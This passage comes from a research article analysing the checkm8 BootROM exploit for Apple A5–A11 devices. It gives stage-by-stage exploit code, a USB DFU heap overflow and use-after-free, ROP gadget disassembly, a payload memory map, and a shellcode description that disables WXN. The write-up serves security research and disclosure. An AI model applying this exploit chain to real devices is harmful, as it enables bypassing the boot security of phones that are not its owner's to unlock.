00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
You can also achieve an interesting effect by overflowing the configuration descriptors High Speed
and Full Speed
that are located right after the IO
buffer. One of the fields of a configuration descriptor is responsible for its overall length. By overflowing this field, we can read beyond the descriptor. You can try and do it yourself by modifying the exploit.
2. Allocation and freeing of the IO buffer without clearing the global state
device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device)
At this stage, an incomplete OUT
request for uploading the image is created. At the same time, a global state is initialized, and the address of the buffer in the heap is written to the io_buffer
. Then, DFU
is reset with a DFU_CLR_STATUS
request, and a new iteration of DFU
begins.
3. Overwriting usb_device_io_request
in the heap with use-after-free
device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)
At this stage, a usb_device_io_request
type object is allocated in the heap, and it is overflown with t8010_overwrite
, whose content was defined at the first stage.
The values of t8010_nop_gadget
and 0x1800B0800
should overflow the fields callback
and next
of the usb_device_io_request
structure.
t8010_nop_gadget
is shown below and conforms to its name, but besides function return, the previous LR
register is restored, and because of that the call free
is skipped after the callback
function in usb_core_complete_endpoint_io
. This is important, because we damage the heap's metadata due to overflow, which would affect the exploit in case of a freeing attempt.
bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET
next
points to INSECURE_MEMORY + 0x800
. Later, INSECURE_MEMORY
will store the exploit's payload, and at the offset of 0x800
in the payload, there is a callback-chain
, which we'll discuss later on.
4. Placing the payload
for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50)
At this stage, every following packet is put into the memory area allocated for the image. The payload looks like this:
0x1800B0000: t8010_shellcode # initializing shell-code ... 0x1800B0180: t8010_handler # new usb request handler ... 0x1800B0400: 0x1000006a5 # fake translation table descriptor # corresponds to SecureROM (0x100000000 -> 0x100000000) # matches the value in the original translation table ... 0x1800B0600: 0x60000180000625 # fake translation table descriptor # corresponds to SecureRAM (0x180000000 -> 0x180000000) # matches the value in the original translation table 0x1800B0608: 0x1800006a5 # fake translation table descriptor # new value translates 0x182000000 into 0x180000000 # plus, in this descriptor,there are rights for code execution 0x1800B0610: disabe_wxn_arm64 # code for disabling WXN 0x1800B0800: usb_rop_callbacks # callback-chain
5. Execution of callback-chain
dfu.usb_reset(device) dfu.release_device(device)
After USB
reset, the loop of canceling incomplete usb_device_io_request
in the queue by going through a linked list is started. In the previous stages, we replaced the rest of the queue, which allows us to control the callback
chain. To build this chain, we use this gadget:
bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET
As you can see, at the offset of 0x70
from the pointer to the structure, the call's address and its first argument are loaded. With this gadget, we can easily make any f(x)
type calls for arbitrary f
and x
.
The entire call chain can be easily emulated with Unicorn Engine
. We did it with our modified version of the plugin uEmu .

The results of the entire chain for iPhone 7
can be found below.
5.1. dc_civac 0x1800B0600
000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET
Clearing and invalidating the processor's cache at a virtual address. This will make the processor address our payload later.
5.2. dmb
0000000100000478: DMB SY 000000010000047C: RET
A memory barrier that guarantees the completion of all operations with the memory done before this instruction. Instructions in high-performance processors can be executed in an order different from the programmed one for the purpose of optimization.
5.3. enter_critical_section()
Then, interrupts are masked for the atomic execution of further operations.
5.4. write_ttbr0(0x1800B0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET
A new value of the table register TTBR0_EL1
is set in 0x1800B0000
. It is the address of INSECURE MEMORY
where the exploit's payload is stored. As was mentioned before, the translation descriptors are located at certain offsets in the payload:
... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ...
5.5. tlbi
0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET
The translation table is invalidated in order to translate addresses according to our new translation table.
5.6。 0x1820B0610 - disable_wxn_arm64
MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET
WXN
(Write permission implies Execute-never) is disabled to allow us execute code in RW
memory. The execution of the WXN
disabling code is possible due to the modified translation table.
5.7. write_ttbr0(0x1800A0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET
The original value of the TTBR0_EL1
translation register is restored. It is necessary for the correct operation of BootROM
during the translation of virtual addresses because the data in INSECURE_MEMORY
will be overwritten.
5.8. tlbi
The translation table is reset again.
5.9. exit_critical_section()
Interrupt handling is back to normal.
5.10. 0x1800B0000
Control is transferred to the initializing shellcode
.
Thus, the main task of callback-chain
is to disable WXN
and transfer control to the shellcode
in RW
memory.
6. Execution of shellcode
The shellcode
is in src/checkm8_arm64.S
and does the following:
6.1. Overwriting USB
configuration descriptors
In the global memory, two pointers to configuration descriptors usb_core_hs_configuration_descriptor
and usb_core_fs_configuration_descriptor
located in the heap are stored. In the third stage, these descriptors were damaged. They are necessary for the correct interaction with a USB
device, so the shellcode
restores them.
6.2. Changing USBSerialNumber
A new string descriptor with a serial number is created with a substring " PWND:[checkm8]"
added to it. This will help us understand if the exploit was successful.
6.3. Overwriting the pointer of the USB
request handler
The original pointer to the handler of USB
requests to the interface is overwritten by a pointer to a new handler, which will be placed in the memory at the next step.
6.4. Copying USB
request handler into TRAMPOLINE
memory area ( 0x1800AFC00
)
Upon receiving a USB
request, the new handler checks the wValue
of the request against 0xffff
and if they're not equal, it transfers control back to the original handler. If they are equal, various commands can be executed in the new handlers, like memcpy
, memset
, and exec
(calling an arbitrary address with an arbitrary set of arguments).
Thus, the analysis of the exploit is complete.
The implementation of the exploit at a lower level of working with USB
As a bonus and an example of the attack at lower levels, we published a Proof-of-Concept of the checkm8
implementation on Arduino
with USB Host Shield
. The PoC works only for iPhone 7
but can be easily ported to other devices. When an iPhone 7
in DFU
mode is connected to USB Host Shield
, all the steps described in this article will be executed, and the device will enter PWND:[checkm8]
mode. Then, it can be connected to a PC via USB
to work with it using ipwndfu (to dump memory, use crypto keys, etc.). This method is more stable than using asynchronous requests with a minimal timeout because we work directly with the USB
controller. We used the USB_Host_Shield_2.0 library. It needs minor modifications; the patch file is also in the repository.
In place of a conclusion
Analyzing checkm8
was very interesting. We hope that this article will be useful for the community and will motivate new research in this area. The vulnerability will continue to influence the jailbreak community. A jailbreak based on checkm8
is already being developed — checkra1n , and since the vulnerability is unfixable, it will always work on vulnerable chips ( A5
to A11
) regardless of the iOS version. Plus, there are many vulnerable devices, like iWatch
, Apple TV
, etc. We expect more interesting projects for Apple devices to come.
Besides jailbreak, this vulnerability will also influence the researchers of Apple devices. With checkm8
, you can already boot iOS
devices in verbose mode, dump SecureROM
, or use the GID
key to decrypt firmware images. Although, the most interesting application for this exploit would be entering debug mode on vulnerable devices with a special JTAG/SWD cable . Before that, it could only be done with special prototypes that are extremely hard to get or with the help of special services . Thus, with checkm8
, Apple
research becomes way easier and cheaper.
References
- Jonathan Levin, *OS Internals: iBoot
- Apple, iOS Security Guide
- littlelailo, apollo.txt
- usb.org
- USB in a NutShell
- ipwndfu
- an ipwndfu fork from LinusHenze